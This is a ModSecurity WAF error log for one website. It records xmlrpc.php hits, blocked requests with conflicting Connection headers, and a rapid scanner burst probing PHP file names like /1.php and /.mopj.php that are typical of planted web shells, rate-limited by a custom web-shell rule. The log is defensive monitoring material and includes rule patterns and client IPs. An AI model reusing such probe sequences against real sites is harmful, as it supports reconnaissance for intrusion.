[Mon Apr 06 03:22:24.270205 2026] [:error] [pid 32339:tid 32353] [client 106.195.11.59:47715] [client 106.195.11.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.195.11.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adK2cFdmph-O4lnLZBuFLgAAAAQ"]
[Mon Apr 06 04:16:36.668721 2026] [:error] [pid 9442:tid 9454] [client 182.42.111.213:41604] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adLDJEPsNnAJTnmz6sZwaQAAAQo"]
[Mon Apr 06 04:22:58.196632 2026] [:error] [pid 9442:tid 9456] [client 43.153.122.30:49774] [client 43.153.122.30] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adLEokPsNnAJTnmz6sZ3EgAAAQw"]
[Mon Apr 06 09:14:33.756932 2026] [:error] [pid 38562:tid 38584] [client 109.178.67.156:1325] [client 109.178.67.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.178.67.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adMI-aeD6Ohe6wzRuy5QoAAAAVM"]
[Mon Apr 06 10:24:53.863384 2026] [:error] [pid 35786:tid 35812] [client 101.33.66.34:55526] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adMZdWgkfCKTaLhwaKSYHgAAANM"]
[Mon Apr 06 15:22:55.842032 2026] [:error] [pid 35786:tid 35811] [client 43.131.253.14:35044] [client 43.131.253.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adNfT2gkfCKTaLhwaKTsvgAAANI"]
[Mon Apr 06 19:38:42.792740 2026] [:error] [pid 38562:tid 38584] [client 43.157.53.115:42718] [client 43.157.53.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adObQqeD6Ohe6wzRuy54aQAAAVM"]
[Mon Apr 06 20:03:28.891075 2026] [:error] [pid 10280:tid 10300] [client 51.103.130.249:65321] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "adOhEF8QUJkf8g-BFfP0NwAAAdE"]
[Mon Apr 06 20:03:29.450961 2026] [:error] [pid 35686:tid 35700] [client 51.103.130.249:65313] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "adOhEcMKdea6oORd2fzT4AAAAAQ"]
[Mon Apr 06 20:03:30.148335 2026] [:error] [pid 9442:tid 9453] [client 51.103.130.249:65266] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "adOhEkPsNnAJTnmz6sbIoQAAAQk"]
[Mon Apr 06 20:03:30.791046 2026] [:error] [pid 9442:tid 9449] [client 51.103.130.249:64324] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "adOhEkPsNnAJTnmz6sbIpwAAAQU"]
[Mon Apr 06 20:03:31.582381 2026] [:error] [pid 35786:tid 35807] [client 51.103.130.249:64427] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "adOhE2gkfCKTaLhwaKQaygAAAM4"]
[Mon Apr 06 20:03:32.316821 2026] [:error] [pid 10280:tid 10283] [client 51.103.130.249:65280] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "adOhFF8QUJkf8g-BFfP0QAAAAcA"]
[Mon Apr 06 20:03:33.017587 2026] [:error] [pid 35688:tid 35750] [client 51.103.130.249:65268] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "adOhFeZ85qg4jLsRpQym3AAAAIA"]
[Mon Apr 06 20:03:33.605669 2026] [:error] [pid 38562:tid 38573] [client 51.103.130.249:65225] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "adOhFaeD6Ohe6wzRuy6DqgAAAUg"]
[Mon Apr 06 20:03:34.311188 2026] [:error] [pid 35688:tid 35759] [client 51.103.130.249:65312] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adOhFuZ85qg4jLsRpQym6QAAAIk"]
[Mon Apr 06 20:03:35.048265 2026] [:error] [pid 9442:tid 9457] [client 51.103.130.249:65275] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adOhF0PsNnAJTnmz6sbIuwAAAQ0"]
[Mon Apr 06 20:03:36.017090 2026] [:error] [pid 9442:tid 9461] [client 51.103.130.249:64422] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adOhGEPsNnAJTnmz6sbIxgAAARE"]
[Mon Apr 06 20:03:36.895645 2026] [:error] [pid 1827:tid 1830] [client 51.103.130.249:63878] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adOhGOVeb6S_DnjZ2xEOdQAAAgE"]
[Mon Apr 06 20:03:37.611453 2026] [:error] [pid 1827:tid 1850] [client 51.103.130.249:64445] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adOhGeVeb6S_DnjZ2xEOeQAAAhU"]
[Mon Apr 06 20:03:38.286114 2026] [:error] [pid 38562:tid 38568] [client 51.103.130.249:65272] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adOhGqeD6Ohe6wzRuy6DrgAAAUM"]
[Mon Apr 06 20:03:39.173008 2026] [:error] [pid 35687:tid 35733] [client 51.103.130.249:65267] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adOhG53LtDozV0i8Bitm9wAAAEo"]
[Mon Apr 06 20:03:39.819459 2026] [:error] [pid 9413:tid 9435] [client 51.103.130.249:64335] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adOhG3llvEK3chn01wHBpwAAAZQ"]
[Mon Apr 06 20:03:40.397972 2026] [:error] [pid 10280:tid 10298] [client 51.103.130.249:64444] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "adOhHF8QUJkf8g-BFfP0UgAAAc8"]
[Mon Apr 06 20:03:40.955689 2026] [:error] [pid 9442:tid 9463] [client 51.103.130.249:65249] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "adOhHEPsNnAJTnmz6sbI1gAAARM"]
[Mon Apr 06 20:03:41.585453 2026] [:error] [pid 38562:tid 38587] [client 51.103.130.249:64360] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "adOhHaeD6Ohe6wzRuy6DtQAAAVY"]
[Mon Apr 06 20:03:42.364967 2026] [:error] [pid 1827:tid 1837] [client 51.103.130.249:65309] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "adOhHuVeb6S_DnjZ2xEOjQAAAgg"]
[Mon Apr 06 20:03:43.038392 2026] [:error] [pid 35688:tid 35774] [client 51.103.130.249:64418] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "adOhH-Z85qg4jLsRpQym-wAAAJg"]
[Mon Apr 06 20:03:43.839597 2026] [:error] [pid 9442:tid 9449] [client 51.103.130.249:65265] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "adOhH0PsNnAJTnmz6sbI3wAAAQU"]
[Mon Apr 06 20:03:44.483632 2026] [:error] [pid 35688:tid 35762] [client 51.103.130.249:65238] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "adOhIOZ85qg4jLsRpQynAQAAAIw"]
[Mon Apr 06 20:03:45.161625 2026] [:error] [pid 35687:tid 35744] [client 51.103.130.249:63886] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "adOhIZ3LtDozV0i8Bitm-wAAAFU"]
[Mon Apr 06 20:03:46.002935 2026] [:error] [pid 35686:tid 35699] [client 51.103.130.249:65308] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "adOhIsMKdea6oORd2fzT7wAAAAM"]
[Mon Apr 06 20:03:46.776124 2026] [:error] [pid 9442:tid 9467] [client 51.103.130.249:64346] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "adOhIkPsNnAJTnmz6sbI5AAAARc"]
[Mon Apr 06 20:03:47.394347 2026] [:error] [pid 9442:tid 9449] [client 51.103.130.249:64402] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "adOhI0PsNnAJTnmz6sbI7QAAAQU"]
[Mon Apr 06 20:03:48.262080 2026] [:error] [pid 10280:tid 10303] [client 51.103.130.249:64413] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "adOhJF8QUJkf8g-BFfP0ZAAAAdQ"]
[Mon Apr 06 20:03:48.825376 2026] [:error] [pid 9442:tid 9449] [client 51.103.130.249:65223] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "adOhJEPsNnAJTnmz6sbI9wAAAQU"]
[Mon Apr 06 20:03:49.411013 2026] [:error] [pid 10280:tid 10295] [client 51.103.130.249:64372] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "adOhJV8QUJkf8g-BFfP0aAAAAcw"]
[Mon Apr 06 20:03:50.012526 2026] [:error] [pid 38562:tid 38578] [client 51.103.130.249:64390] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "adOhJqeD6Ohe6wzRuy6DxwAAAU0"]
[Mon Apr 06 20:03:50.773193 2026] [:error] [pid 35688:tid 35773] [client 51.103.130.249:65324] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "adOhJuZ85qg4jLsRpQynDwAAAJc"]
[Mon Apr 06 20:03:51.333183 2026] [:error] [pid 35786:tid 35810] [client 51.103.130.249:65325] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "adOhJ2gkfCKTaLhwaKQa2AAAANE"]
[Mon Apr 06 20:03:52.018914 2026] [:error] [pid 10280:tid 10304] [client 51.103.130.249:63874] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "adOhKF8QUJkf8g-BFfP0bgAAAdU"]
[Mon Apr 06 20:03:52.673462 2026] [:error] [pid 38562:tid 38589] [client 51.103.130.249:64414] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "adOhKKeD6Ohe6wzRuy6DzQAAAVg"]
[Mon Apr 06 20:03:53.458577 2026] [:error] [pid 9413:tid 9425] [client 51.103.130.249:63845] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9.php"] [unique_id "adOhKXllvEK3chn01wHBsAAAAYo"]
[Mon Apr 06 20:03:54.155749 2026] [:error] [pid 10280:tid 10303] [client 51.103.130.249:64377] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/10.php"] [unique_id "adOhKl8QUJkf8g-BFfP0dAAAAdQ"]
[Mon Apr 06 20:03:54.981917 2026] [:error] [pid 9413:tid 9416] [client 51.103.130.249:64321] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/10.php"] [unique_id "adOhKnllvEK3chn01wHBsQAAAYE"]
[Mon Apr 06 20:03:55.872719 2026] [:error] [pid 9442:tid 9462] [client 51.103.130.249:63884] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/10.php"] [unique_id "adOhK0PsNnAJTnmz6sbJBAAAARI"]
[Mon Apr 06 20:03:56.693277 2026] [:error] [pid 35687:tid 35742] [client 51.103.130.249:65255] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/10.php"] [unique_id "adOhLJ3LtDozV0i8BitnBwAAAFM"]
[Mon Apr 06 20:03:57.433190 2026] [:error] [pid 35688:tid 35762] [client 51.103.130.249:65217] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.mopj.php"] [unique_id "adOhLeZ85qg4jLsRpQynHQAAAIw"]
[Mon Apr 06 20:03:58.053570 2026] [:error] [pid 9442:tid 9458] [client 51.103.130.249:63891] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.mopj.php"] [unique_id "adOhLkPsNnAJTnmz6sbJCgAAAQ4"]
[Mon Apr 06 20:03:58.603768 2026] [:error] [pid 9442:tid 9451] [client 51.103.130.249:65290] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.mopj.php"] [unique_id "adOhLkPsNnAJTnmz6sbJDgAAAQc"]
[Mon Apr 06 20:03:59.347299 2026] [:error] [pid 9442:tid 9461] [client 51.103.130.249:63852] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.mopj.php"] [unique_id "adOhL0PsNnAJTnmz6sbJGgAAARE"]
[Mon Apr 06 20:04:00.081323 2026] [:error] [pid 35688:tid 35750] [client 51.103.130.249:64338] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "adOhMOZ85qg4jLsRpQynJgAAAIA"]
[Mon Apr 06 20:04:00.840879 2026] [:error] [pid 9442:tid 9448] [client 51.103.130.249:64332] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "adOhMEPsNnAJTnmz6sbJKQAAAQQ"]
[Mon Apr 06 20:04:01.738616 2026] [:error] [pid 35687:tid 35723] [client 51.103.130.249:63905] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "adOhMZ3LtDozV0i8BitnDQAAAEA"]
